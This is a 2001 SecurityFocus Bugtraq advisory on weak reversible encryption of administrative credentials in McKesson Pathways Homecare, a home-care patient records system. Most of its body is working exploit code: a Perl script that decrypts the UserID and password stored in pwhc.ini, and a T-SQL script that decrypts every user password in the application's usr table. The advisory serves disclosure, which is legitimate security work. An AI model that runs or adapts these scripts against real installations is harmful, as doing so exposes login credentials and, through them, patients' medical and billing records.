McKesson Pathways Homecare Weak Username and Password Encryption Vulnerability

Bugtraq ID:	3653
Class:	Design Error
CVE:
Remote:	No
Local:	Yes
Published:	Dec 07 2001 12:00AM
Updated:	Dec 07 2001 12:00AM
Credit:	This vulnerability was discovered and reported by shoeboy <[email protected]>.
Vulnerable:	McKesson Pathways Homecare 6.5 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 95 SR2 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows ME
Not Vulnerable:

McKesson Pathways Homecare Weak Username and Password Encryption Vulnerability

McKesson Pathways Homecare is a client/server application which is used to track patient information, billing information and medical records for home care patients.

The administrative username and password are encrypted in the pwhc.ini file on the client system. The encryption method used to store these is very weak and can be easily reversed.

McKesson Pathways Homecare Weak Username and Password Encryption Vulnerability

The following exploit code was provided by shoeboy <[email protected]>.

For the SQL server account:
#! /usr/bin/perl -w

################################################################################
# pwhc_crack.pl -- Extracts a password from a Pathways Homecare PWHC.ini
file
################################################################################

use strict;

open (PWHC, "pwhc.ini") or die "Unable to open .ini file";
while (<PWHC>) {
chomp;
if ($_ =~ /^UserID/) { print "UserID: ", decrypt($_), "\n"; }
if ($_ =~ /^Password/) { print "Password: ", decrypt($_), "\n"; }
}

sub decrypt {
my $counter = 0;
my $key;
my @cryptstr = split /=/, $_, 2;
my @revstr = unpack("c*", (scalar reverse $cryptstr[1]));
if(@revstr % 2) {
$key = 3;
while ($counter < @revstr) {
$revstr[$counter] += $key;
$counter++;
$key += ($counter % 2) ? 5 : -3;
}
}
else {
$key = 7;
while ($counter < @revstr) {
$revstr[$counter] += $key;
$counter++;
$key += ($counter % 2) ? -3 : 5;
}
}
return pack("c*", (reverse @revstr));
}

For the Visual Basic client:
SET NOCOUNT ON
DECLARE @evenkey varchar(15)
DECLARE @oddkey varchar(15)
DECLARE @key varchar(15)
DECLARE @cryptstr varchar(15)
DECLARE @position tinyint
DECLARE @length tinyint
DECLARE @usrid varchar(30)

DECLARE pwd_cursor CURSOR FOR SELECT usrID, pwd FROM usr
OPEN pwd_cursor
FETCH NEXT FROM pwd_cursor INTO @usrID, @cryptstr
SET @evenkey = 'FDHFJHLJNLPNRP'
SET @oddkey = 'CGEIGKIMKOMQOSQ'

WHILE (@@FETCH_STATUS = 0)
BEGIN
SET @position = 1
SET @length = datalength(@cryptstr)
IF ((@length % 2) = 1) SET @key = @oddkey
ELSE SET @key = @evenkey

WHILE (@position <= @length)
BEGIN
SET @cryptstr = STUFF(@cryptstr, (@length - @position) + 1, 1,
CHAR((ASCII(SUBSTRING(@key, @position, 1)) - 65)
+ ASCII(SUBSTRING(@cryptstr, (@length - @position) + 1, 1))))
SET @position = @position + 1
END
PRINT @usrID + ' : ' + @cryptstr
FETCH NEXT FROM pwd_cursor INTO @usrID, @cryptstr
END
DEALLOCATE pwd_cursor
GO

McKesson Pathways Homecare Weak Username and Password Encryption Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

McKesson Pathways Homecare Weak Username and Password Encryption Vulnerability

References:

• Pathways Homecare Home Page (McKesson Information Solutions)